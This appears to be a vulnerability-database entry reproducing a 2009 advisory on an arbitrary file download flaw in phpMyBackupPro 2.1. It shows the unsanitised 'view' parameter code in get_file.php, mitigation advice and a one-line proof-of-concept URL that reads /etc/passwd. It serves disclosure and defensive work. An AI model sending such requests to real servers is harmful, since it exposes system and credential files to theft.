Arbitrary File Download in phpMyBackupPro

vendor:

phpMyBackupPro

by:

Amol Naik

7.5

CVSS

HIGH

Arbitrary File Download

CWE

Product Name: phpMyBackupPro

Affected Version From: 2.1

Affected Version To: 2.1

Patch Exists: YES

Related CWE: N/A

CPE: a:phpmybackuppro:phpmybackuppro

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Arbitrary File Download in phpMyBackupPro

phpMyBackupPro is vulnerable to Arbitrary File Download. The parameter 'view' is not properly sanitized which results in Arbitrary file download. An attacker can exploit this vulnerability by sending a malicious HTTP request to the vulnerable page 'get_file.php' with the parameter 'view' set to the path of the file to be downloaded.

Mitigation:

The parameter 'view' should be properly sanitized to prevent Arbitrary File Download.

Source

Exploit-DB raw data:

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	Arbitrary File Download in phpMyBackupPro

	Name			Arbitrary File Download in phpMyBackupPro
	Systems Affected	phpMyBackupPro v 2.1 and possibly earlier versions
	site			http://www.phpmybackuppro.net
	Author			Amol Naik (amolnaik4[at]gmail.com)
	Date			16/11/2009
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1. OVERVIEW
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phpMyBackupPro is a web-based MySQL backup application in PHP. 
You can schedule backups, download, email or upload them with FTP and backup whole file directories. 
Zip and gzip compression, easy interface and installation. Many languages and online help!

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2. DESCRIPTION
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phpMyBackupPro is vulnerable to Arbitrary File Download.

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3. TECHNICAL DETAILS
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Arbritrary File Downlaod
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Vulnerable page		get_file.php
Vulnerable Parameters	view
Vulnerable Code		

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// show the requested file
if (isset($_GET['view']) && file_exists($_GET['view'])) {
    if (isset($_GET['download'])) {
        header("Content-Type: application/octet-stream");
        header("Content-Disposition: attachment; filename=".basename($_GET['view']));
        readfile($_GET['view']);
    } else {
        ......
        ......
        .......
    }

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The parameter "view" is not properly sanitized which results in Arbitrary file download.

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POC
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http://localhost/phpMyBackupPro/get_file.php?download=true&view=/etc/passwd



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4. TimeLine
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20th Oct 2009		Bug Discovered
20th Oct 2009		Reported to Vendor
27th Oct 2009		vendor agreed to the vulnerablity and ready to fix it.
16th Nov 2009		No communication received about the status of the fix.
16th Nov 2009		Public Disclosure